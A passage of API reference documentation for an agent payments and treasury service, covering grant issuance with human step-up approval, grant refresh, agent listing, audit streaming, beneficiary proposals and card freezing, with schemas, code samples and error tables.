```ts TypeScript theme={null}
import { GlideClient, StepUpRequired } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const params = { scope: ['accounts:read', 'payments:initiate'], ttl_seconds: 3600 };
const result = await client.call('treasury', 'agent.grant.issue', params);
if (result instanceof StepUpRequired) {
console.log('Open this URL for approval:', result.stepUpUrl);
}
// After your callback receives the sigil, repeat the call with the same scope
// and TTL plus step_up_sigil. Store the returned bearer token securely.
```
```python Python theme={null}
from glide_client import GlideClient, StepUpRequired
client = GlideClient()
params = {"scope": ["accounts:read", "payments:initiate"], "ttl_seconds": 3600}
result = client.call("treasury", "agent.grant.issue", params)
if isinstance(result, StepUpRequired):
print("Open this URL for approval:", result.step_up_url)
# After your callback receives the sigil, repeat the call with the same scope
# and TTL plus step_up_sigil. Store the returned bearer token securely.
```
## Response examples
Step 1 — step-up required (first call without sigil always returns this):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32003,
"message": "issuing a new grant requires principal biometric approval",
"data": {
"reason_id": "step_up_required",
"step_up_url": "https://app.glide.co/step-up?token=eyJhbGciOiJIUzI1NiJ9.eyJyZWFzb24iOiJncmFudF9pc3N1ZSJ9.sig"
}
}
}
```
Step 2 — successful grant issuance (with valid sigil):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"grant_id": "f7a8b9c0-d1e2-3456-f012-456789012345",
"bearer_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkNGU1ZjZhNyIsInNjb3BlIjpbImFjY291bnRzOnJlYWQiLCJwYXltZW50czppbml0aWF0ZSJdfQ.signature",
"expires_at": "2026-05-04T13:00:00Z",
"scope": ["accounts:read", "payments:initiate"],
"policy_version": 3
}
}
```
Error — attempted scope escalation (requesting scope not in current grant):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "requested scope 'treasury:yield-allocate' not in current grant; cannot self-escalate",
"data": {
"reason_id": "scope_escalation"
}
}
}
```
Error — sigil already redeemed or expired:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"error": {
"code": -32602,
"message": "step-up sigil was not valid, already redeemed, expired, or minted for a different reason",
"data": {
"reason_id": "step_up_sigil_invalid"
}
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ------------------ | ---------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------- |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | Requested scope not present in current grant (scope escalation); `ttl_seconds` exceeds 3600; invalid sigil | Validate params; use step-up to acquire broader scope if needed |
| `-32000` | Unauthenticated | Missing `Authorization` header | Supply a valid `Bearer` token |
| `-32001` | Unauthorized | Grant token expired or revoked | Refresh token via `agent.grant.refresh` |
| `-32002` | Insufficient scope | Grant missing `agent:budget:create` scope | Issue new grant with `agent:budget:create` scope |
| `-32003` | Step-up required | First call without `step_up_sigil`; payload includes `step_up_url` | Redirect principal to `step_up_url`, then retry with the returned sigil |
| `-32603` | Internal error | Server-side error | Retry with backoff; contact support |
## Step-up flow
`agent.grant.issue` unconditionally requires principal approval. Every call without a valid `step_up_sigil` returns `-32003`. Here is the full two-call sequence:
**Call 1 — trigger step-up**
Send the request without `step_up_sigil`. The server mints a step-up session and returns `-32003` with `data.step_up_url`.
**Redirect principal**
Open or redirect the principal's browser to `step_up_url`. Use the approval flow supplied by your integration to review the scope and TTL and obtain the approval token. The current URL-mode page does not implement the complete approval and redirect flow. Opening it alone does not yield an authorized token.
**Call 2 — supply the redeemed sigil**
Repeat the exact same call (same `scope`, same `ttl_seconds`) and include `step_up_sigil` from the redirect callback. The sigil is single-use; replaying it, or using a sigil minted for a different reason (e.g., `rotate_signer`), returns `-32602 step_up_sigil_invalid`.
For more detail on the step-up redirect flow, session lifecycle, and sigil expiry, see [Step-up authentication](/agents/step-up).
## Auth
Caller's grant must include the `agent:budget:create` scope. Grants whose scope set is a superset of the required scope are accepted.
# agent.grant.refresh
Source: https://glide-9da73dea.mintlify.app/agents/api/agent-grant-refresh
Re-issue this agent's grant under the current policy version when the new policy is unchanged-or-narrowed vs the issue-time version.
Re-issue this agent's grant under the current policy version when the new policy is unchanged-or-narrowed vs the issue-time version. No step-up required (refresh is definitionally non-escalating). Throws InvalidParamsError if the new policy expands authority — caller must use agent.grant.issue with step-up to acquire the broader scope.
## Metadata
| Field | Value |
| ------------------------ | --------------------- |
| Name | `agent.grant.refresh` |
| Category | `treasury` |
| Required scope | `agent:budget:create` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | -------------------------- |
| Title | Refresh Grant (no step-up) |
| Read-only | no |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {},
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"grant_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"bearer_token": {
"type": "string",
"minLength": 1
},
"expires_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"scope": {
"type": "array",
"items": {
"type": "string",
"enum": [
"accounts:read",
"agents:read",
"payments:initiate",
"payments:simulate",
"cards:manage",
"agent:budget:create",
"agent:budget:revoke",
"beneficiary:read",
"beneficiary:write",
"kyc:start",
"x402:pay",
"x402:receive",
"audit:stream",
"treasury:rotate-signer",
"treasury:yield-allocate"
]
}
},
"old_policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"new_policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"policy_changed": {
"type": "boolean"
}
},
"required": [
"grant_id",
"bearer_token",
"expires_at",
"scope",
"old_policy_version",
"new_policy_version",
"policy_changed"
],
"additionalProperties": false
}
```
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/treasury \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "agent.grant.refresh",
"params": {}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
// Refresh the current grant — re-issues under latest policy if unchanged or narrowed
const result = await client.call('treasury', 'agent.grant.refresh', {});
if (result.policy_changed) {
console.log(
`Policy narrowed from v${result.old_policy_version} to v${result.new_policy_version}`
);
}
// Use the new bearer token for subsequent calls
console.log(`New grant: ${result.grant_id}, expires: ${result.expires_at}`);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("treasury", "agent.grant.refresh", {})
if result["policy_changed"]:
print(
f"Policy narrowed from v{result['old_policy_version']} "
f"to v{result['new_policy_version']}"
)
print(f"New grant: {result['grant_id']}, expires: {result['expires_at']}")
```
## Response examples
Successful response — policy unchanged (pure TTL extension):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"grant_id": "g8h9i0j1-k2l3-4567-m012-567890123456",
"bearer_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkNGU1ZjZhNyIsInNjb3BlIjpbImFjY291bnRzOnJlYWQiLCJwYXltZW50czppbml0aWF0ZSJdfQ.newsignature",
"expires_at": "2026-05-04T13:30:00Z",
"scope": ["accounts:read", "payments:initiate"],
"old_policy_version": 3,
"new_policy_version": 3,
"policy_changed": false
}
}
```
Successful response — policy narrowed (scope reduced by org admin):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"grant_id": "h9i0j1k2-l3m4-5678-n123-678901234567",
"bearer_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkNGU1ZjZhNyIsInNjb3BlIjpbImFjY291bnRzOnJlYWQiXX0.newsignature",
"expires_at": "2026-05-04T13:30:00Z",
"scope": ["accounts:read"],
"old_policy_version": 3,
"new_policy_version": 4,
"policy_changed": true
}
}
```
Error — new policy expands authority (caller must use `agent.grant.issue` with step-up):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "new policy version 5 expands authority (daily_limit increased from 5000 to 10000); use agent.grant.issue with step-up",
"data": {
"reason_id": "policy_broadened_requires_step_up"
}
}
}
```
Error — policy envelope missing for vault (data integrity issue):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "policy version 3 on vault a1b2c3d4-e5f6-7890-abcd-ef1234567890 is not on file; agent.grant.refresh cannot validate narrowing without it",
"data": {
"reason_id": "old_envelope_missing"
}
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ------------------ | ------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------- |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | New policy expands authority vs issue-time version; policy envelope missing or fails schema validation | Use `agent.grant.issue` with step-up to acquire broader scope; contact support if envelope missing |
| `-32000` | Unauthenticated | Missing `Authorization` header | Supply a valid `Bearer` token |
| `-32001` | Unauthorized | Grant token expired or revoked | Issue a new grant via `agent.grant.issue` (step-up required) |
| `-32002` | Insufficient scope | Grant missing `agent:budget:create` scope | Issue new grant with `agent:budget:create` scope |
| `-32603` | Internal error | Server-side error | Retry with backoff; contact support |
## Auth
Caller's grant must include the `agent:budget:create` scope. Grants whose scope set is a superset of the required scope are accepted.
# agents.list
Source: https://glide-9da73dea.mintlify.app/agents/api/agents-list
List sibling agents under the same principal/entity. Useful for cross-agent UIs; doesn't expose another agent's envelope policy.
List sibling agents under the same principal/entity. Useful for cross-agent UIs; doesn't expose another agent's envelope policy.
## Metadata
| Field | Value |
| ------------------------ | ------------- |
| Name | `agents.list` |
| Category | `read` |
| Required scope | `agents:read` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ----------- |
| Title | List Agents |
| Read-only | yes |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"include_revoked": {
"default": false,
"type": "boolean"
}
},
"required": [
"include_revoked"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"agents": {
"type": "array",
"items": {
"type": "object",
"properties": {
"agent_principal_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"display_name": {
"type": "string"
},
"purpose": {
"type": "string"
},
"status": {
"type": "string",
"enum": [
"draft",
"active",
"throttled",
"revoked",
"expired"
]
},
"created_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"is_self": {
"type": "boolean"
}
},
"required": [
"agent_principal_id",
"display_name",
"purpose",
"status",
"created_at",
"is_self"
],
"additionalProperties": false
}
},
"fetched_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"agents",
"fetched_at"
],
"additionalProperties": false
}
```
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "agents.list",
"params": {
"include_revoked": false
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('read', 'agents.list', {
include_revoked: false,
});
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("read", "agents.list", {
"include_revoked": False,
})
print(result)
```
## Response examples
Successful response:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"agents": [
{
"agent_principal_id": "c3d4e5f6-a7b8-9012-cdef-123456789012",
"display_name": "Payroll Disbursement Agent",
"purpose": "Weekly payroll runs for Acme Corp employees",
"status": "active",
"created_at": "2026-04-01T09:00:00Z",
"is_self": false
},
{
"agent_principal_id": "d4e5f6a7-b8c9-0123-def0-234567890123",
"display_name": "Supplier Payment Agent",
"purpose": "Automated AP payments under $5,000 per transaction",
"status": "active",
"created_at": "2026-04-15T14:30:00Z",
"is_self": true
}
],
"fetched_at": "2026-05-04T12:00:00Z"
}
}
```
Error — missing or expired grant token:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32001,
"message": "grant token missing or expired",
"data": {
"reason_id": "token_expired"
}
}
}
```
Error — grant missing required scope:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32002,
"message": "grant does not include agents:read scope",
"data": {
"reason_id": "insufficient_scope"
}
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ------------------ | ---------------------------------- | ------------------------------------------ |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `include_revoked` is not a boolean | Validate against schema before call |
| `-32000` | Unauthenticated | Missing `Authorization` header | Supply a valid `Bearer` token |
| `-32001` | Unauthorized | Grant token expired or revoked | Refresh token via `agent.grant.refresh` |
| `-32002` | Insufficient scope | Grant missing `agents:read` scope | Issue new grant with `agents:read` scope |
| `-32603` | Internal error | Server-side error | Retry with backoff; contact support |
## Auth
Caller's grant must include the `agents:read` scope. Grants whose scope set is a superset of the required scope are accepted.
# audit.stream
Source: https://glide-9da73dea.mintlify.app/agents/api/audit-stream
Mint a cursor for subscribing to this agent's event stream over SSE.
Mint a cursor for subscribing to this agent's event stream over SSE. The cursor is bound to the current grant — when the grant expires or is revoked, the SSE connection closes.
The tool returns a cursor contract. The deployment must also provide a working SSE endpoint; cursor issuance alone does not establish live event delivery.
## Metadata
| Field | Value |
| ------------------------ | -------------- |
| Name | `audit.stream` |
| Category | `read` |
| Required scope | `audit:stream` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ------------------------- |
| Title | Subscribe to Audit Stream |
| Read-only | yes |
| Destructive | no |
| Idempotent | no |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"from_iso": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"sse_url": {
"type": "string",
"format": "uri"
},
"cursor": {
"type": "string",
"minLength": 1
},
"expires_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"heartbeat_seconds": {
"type": "integer",
"exclusiveMinimum": 0,
"maximum": 9007199254740991
}
},
"required": [
"sse_url",
"cursor",
"expires_at",
"heartbeat_seconds"
],
"additionalProperties": false
}
```
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "audit.stream",
"params": {
"from_iso": "2026-05-04T00:00:00Z"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
// Mint an SSE cursor starting from midnight today
const result = await client.call('read', 'audit.stream', {
from_iso: '2026-05-04T00:00:00Z',
});
// Open the SSE stream
const eventSource = new EventSource(result.sse_url);
eventSource.onmessage = (e) => console.log(JSON.parse(e.data));
console.log(`Cursor expires at: ${result.expires_at}`);
```
```python Python theme={null}
from glide_client import GlideClient
import os
import sseclient
import requests
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("read", "audit.stream", {
"from_iso": "2026-05-04T00:00:00Z",
})
# Open the SSE stream
response = requests.get(result["sse_url"], stream=True)
sse = sseclient.SSEClient(response)
for event in sse.events():
print(event.data)
```
## Response examples
Successful response — returns an SSE cursor URL:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"sse_url": "https://mcp.glide.co/sse/audit?cursor=eyJhbGciOiJIUzI1NiJ9.eyJhZ2VudCI6ImQ0ZTVmNmE3In0.sig",
"cursor": "eyJhbGciOiJIUzI1NiJ9.eyJhZ2VudCI6ImQ0ZTVmNmE3In0.sig",
"expires_at": "2026-05-04T13:00:00Z",
"heartbeat_seconds": 30
}
}
```
Error — missing `audit:stream` scope:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32002,
"message": "grant does not include audit:stream scope",
"data": {
"reason_id": "insufficient_scope"
}
}
}
```
Error — `from_iso` is not a valid ISO 8601 datetime:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "from_iso does not match expected datetime format",
"data": {
"reason_id": "invalid_date_format"
}
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | ------------------ | ----------------------------------------------- | ------------------------------------------ |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `from_iso` is not a valid UTC ISO 8601 datetime | Validate against schema before call |
| `-32000` | Unauthenticated | Missing `Authorization` header | Supply a valid `Bearer` token |
| `-32001` | Unauthorized | Grant token expired or revoked | Refresh token via `agent.grant.refresh` |
| `-32002` | Insufficient scope | Grant missing `audit:stream` scope | Issue new grant with `audit:stream` scope |
| `-32603` | Internal error | Server-side error | Retry with backoff; contact support |
## Auth
Caller's grant must include the `audit:stream` scope. Grants whose scope set is a superset of the required scope are accepted.
# beneficiary.add
Source: https://glide-9da73dea.mintlify.app/agents/api/beneficiary-add
Propose adding a counterparty to the agent's envelope allowlist.
Propose adding a counterparty to the agent's envelope allowlist. Per the multisig allowlist gate, allowlist mutations are multisig-proposal based — this tool enqueues the proposal; the principal approves via the web dashboard.
## Metadata
| Field | Value |
| ------------------------ | ------------------- |
| Name | `beneficiary.add` |
| Category | `write` |
| Required scope | `beneficiary:write` |
| Idempotency key required | yes |
## Annotations
| Annotation | Value |
| ----------------------- | ------------------- |
| Title | Propose Beneficiary |
| Read-only | no |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | yes (step-up) |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"counterparty": {
"type": "object",
"properties": {
"address": {
"type": "string",
"minLength": 1
},
"chain": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
},
"token": {
"type": "string",
"minLength": 1
}
},
"required": [
"address",
"chain",
"token"
],
"additionalProperties": false
},
"label": {
"type": "string",
"minLength": 1,
"maxLength": 100
},
"justification": {
"type": "string",
"minLength": 1,
"maxLength": 500
},
"idempotency_key": {
"type": "string",
"minLength": 8,
"maxLength": 128
}
},
"required": [
"counterparty",
"label",
"justification",
"idempotency_key"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"proposal_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"status": {
"type": "string",
"enum": [
"pending_principal_approval",
"auto_approved"
]
},
"enqueued_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"proposal_id",
"status",
"enqueued_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `beneficiary:write` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/write \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "beneficiary.add",
"params": {
"counterparty": {
"address": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"chain": "base",
"token": "USDC"
},
"label": "Acme Supplier — Base USDC",
"justification": "Regular monthly SaaS invoice payments to Acme Corp per contract #2026-Q2-017",
"idempotency_key": "acme-supplier-base-usdc-allowlist-20260504"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('write', 'beneficiary.add', {
counterparty: {
address: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045',
chain: 'base',
token: 'USDC',
},
label: 'Acme Supplier — Base USDC',
justification: 'Regular monthly SaaS invoice payments to Acme Corp per contract #2026-Q2-017',
idempotency_key: 'acme-supplier-base-usdc-allowlist-20260504',
});
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("write", "beneficiary.add", {
"counterparty": {
"address": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"chain": "base",
"token": "USDC",
},
"label": "Acme Supplier — Base USDC",
"justification": "Regular monthly SaaS invoice payments to Acme Corp per contract #2026-Q2-017",
"idempotency_key": "acme-supplier-base-usdc-allowlist-20260504",
})
print(result)
```
## Response examples
Success — proposal enqueued for principal approval:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"proposal_id": "c3d4e5f6-a7b8-9012-cdef-123456789012",
"status": "pending_principal_approval",
"enqueued_at": "2026-05-04T09:15:00Z"
}
}
```
Auto-approved (policy permits the counterparty without human sign-off):
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"proposal_id": "c3d4e5f6-a7b8-9012-cdef-123456789012",
"status": "auto_approved",
"enqueued_at": "2026-05-04T09:15:00Z"
}
}
```
Missing scope:
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32001,
"message": "grant does not include scope beneficiary:write",
"data": { "reason_id": "insufficient_scope" }
}
}
```
## Errors
| Code | Name | Cause | Remediation |
| -------- | --------------- | ------------------------------------------------------------------------------- | ---------------------------------------------------------------------- |
| `-32600` | Invalid request | Malformed JSON-RPC envelope | Check `method`, `jsonrpc`, and `id` fields |
| `-32602` | Invalid params | `counterparty.chain` not in enum, address empty, or `idempotency_key` too short | Validate against the input schema before calling |
| `-32001` | Unauthorized | Missing/expired grant token | Refresh via `agent.grant.refresh` |
| `-32002` | Policy denied | Grant missing `beneficiary:write` scope | Issue a new grant with the required scope |
| `-32004` | Rate limited | Too many proposals in a short window | Back off by `retry_after_seconds` in the error `data` |
| `-32603` | Internal error | Proposal write failed | Retry with the same `idempotency_key`; the response will be idempotent |
# cards.freeze
Source: https://glide-9da73dea.mintlify.app/agents/api/cards-freeze
Request a freeze through the configured issuer integration. Check the result and recorded card status.
Request a freeze through the configured issuer integration. Check the result and recorded card status.
Freezing does not cancel subscriptions or reverse existing charges. Use an available account or issuer flow if you need to unfreeze the card; this reference does not specify an MCP unfreeze release date.
## Metadata
| Field | Value |
| ------------------------ | -------------- |
| Name | `cards.freeze` |
| Category | `write` |
| Required scope | `cards:manage` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ----------- |
| Title | Freeze Card |
| Read-only | no |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"card_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"reason": {
"default": "user_request",
"type": "string",
"enum": [
"user_request",
"anomaly",
"admin_kill_switch",
"expired_agent"
]
}
},
"required": [
"card_id",
"reason"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"card_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"frozen_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"reason": {
"type": "string"
}
},
"required": [
"card_id",
"frozen_at",
"reason"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `cards:manage` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/write \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "cards.freeze",
"params": {
"card_id": "d4e5f6a7-b8c9-0123-defa-234567890123",
"reason": "anomaly"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call('write', 'cards.freeze', {
card_id: 'd4e5f6a7-b8c9-0123-defa-234567890123',
reason: 'anomaly',
});
console.log(result);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call("write", "cards.freeze", {
"card_id": "d4e5f6a7-b8c9-0123-defa-234567890123",
"reason": "anomaly",
})
print(result)
```
## Response examples
Success — card frozen:
```json theme={null}
{
